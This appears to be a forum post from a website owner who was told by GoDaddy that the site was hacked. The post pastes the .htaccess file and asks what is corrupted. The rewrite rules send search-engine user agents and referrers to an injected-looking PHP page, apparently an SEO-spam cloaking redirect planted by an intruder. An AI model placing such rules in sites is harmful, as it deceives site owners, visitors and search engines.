I received a call from Go Daddy indicating that my site had been hacked and the .htaccess file is now an issue.

The code in my .htaccess file is as follows

RewriteEngine On

RewriteCond %{HTTP_USER_AGENT} (google|yahoo|msn|aol|bing) [OR]
RewriteCond %{HTTP_REFERER} (google|yahoo|msn|aol|bing)
RewriteRule ^([^/]*)/$ /help-insideit.php?p=$1 [L]

AddType application/octet-stream .gdb .gpx

Could someone advise me as to what could be corrupted?